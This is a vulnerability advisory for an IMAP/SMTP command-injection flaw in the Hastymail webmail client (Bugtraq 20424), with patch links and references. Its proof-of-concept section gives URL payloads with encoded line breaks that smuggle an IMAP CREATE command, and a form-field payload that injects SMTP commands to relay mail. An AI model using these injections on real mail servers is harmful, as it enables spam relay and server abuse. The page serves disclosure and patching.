Hastymail IMAP SMTP Command Injection Vulnerability
BID:20424
Info
Hastymail IMAP SMTP Command Injection Vulnerability
| Bugtraq ID: | 20424 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 10 2006 12:00AM |
| Updated: | Dec 04 2006 09:54PM |
| Credit: | The vendor credits Vicente Aguilera Diaz of Internet Security Auditors with the discovery of this vulnerability. |
| Vulnerable: |
Hastymail Hastymail 1.5 Hastymail Hastymail 1.2 Hastymail Hastymail 1.1 Hastymail Hastymail 1.0.2 Hastymail Hastymail 1.0.1 |
| Not Vulnerable: | |
Discussion
Hastymail IMAP SMTP Command Injection Vulnerability
Hastymail is prone to an IMAP / SMTP command-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An authenticated malicious user could execute arbitrary IMAP / SMTP commands on the affected mail server processes. This may allow the user to send SPAM from the server or to exploit latent vulnerabilities in the underlying system.
Hastymail 1.5 and prior versions are affected.
Hastymail is prone to an IMAP / SMTP command-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An authenticated malicious user could execute arbitrary IMAP / SMTP commands on the affected mail server processes. This may allow the user to send SPAM from the server or to exploit latent vulnerabilities in the underlying system.
Hastymail 1.5 and prior versions are affected.
Exploit / POC
Hastymail IMAP SMTP Command Injection Vulnerability
An authenticated user can exploit this issue via a web client.
The following proof-of-concept URIs are available:
This example sends the CREATE IMAP commands to the vulnerable parameter:
http://www.example.com/<path_to_hastymail>/html/mailbox.php?id=47fc54216aae12d57570c9703abe1b7d&mailbox=INBOX%2522%0d%0aA0003%20CREATE
%2522INBOX.vad
The SMTP POST relay example from nonexistant email address is available:
POST http://www.example.com/<path_to_hastymail>/html/compose.php HTTP/1.1
to include:
Content-Disposition: form-data; name="subject"
Proof of Concept
.
mail from: [email protected]
rcpt to: [email protected]
data
This is a proof of concept of the SMTP command injection in Hastymail
.
An authenticated user can exploit this issue via a web client.
The following proof-of-concept URIs are available:
This example sends the CREATE IMAP commands to the vulnerable parameter:
http://www.example.com/<path_to_hastymail>/html/mailbox.php?id=47fc54216aae12d57570c9703abe1b7d&mailbox=INBOX%2522%0d%0aA0003%20CREATE
%2522INBOX.vad
The SMTP POST relay example from nonexistant email address is available:
POST http://www.example.com/<path_to_hastymail>/html/compose.php HTTP/1.1
to include:
Content-Disposition: form-data; name="subject"
Proof of Concept
.
mail from: [email protected]
rcpt to: [email protected]
data
This is a proof of concept of the SMTP command injection in Hastymail
.
Solution / Fix
Hastymail IMAP SMTP Command Injection Vulnerability
Solution:
The vendor has released patches for versions 1.02 and 1.5 to address this issue. Please see the references for more information.
Hastymail Hastymail 1.0.1
Hastymail Hastymail 1.0.2
Hastymail Hastymail 1.1
Hastymail Hastymail 1.2
Hastymail Hastymail 1.5
Solution:
The vendor has released patches for versions 1.02 and 1.5 to address this issue. Please see the references for more information.
Hastymail Hastymail 1.0.1
-
Hastymail hastymail_1.5_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.5_command_injection_fix.d iff
Hastymail Hastymail 1.0.2
-
Hastymail hastymail_1.0.2_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.0.2_command_injection_fix .diff -
Hastymail hastymail_1.5_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.5_command_injection_fix.d iff
Hastymail Hastymail 1.1
-
Hastymail hastymail_1.5_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.5_command_injection_fix.d iff
Hastymail Hastymail 1.2
-
Hastymail hastymail_1.5_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.5_command_injection_fix.d iff
Hastymail Hastymail 1.5
-
Hastymail hastymail_1.5_command_injection_fix.diff
http://hastymail.sourceforge.net/hastymail_1.5_command_injection_fix.d iff
References
Hastymail IMAP SMTP Command Injection Vulnerability
References:
References:
- Homepage (Hastymail)
- Security UPDATE 10-08-2006 (Hastymail)
- [ISecAuditors Security Advisories] IMAP/SMTP Injection in Hastymail ( ISecAuditors Security Advisories)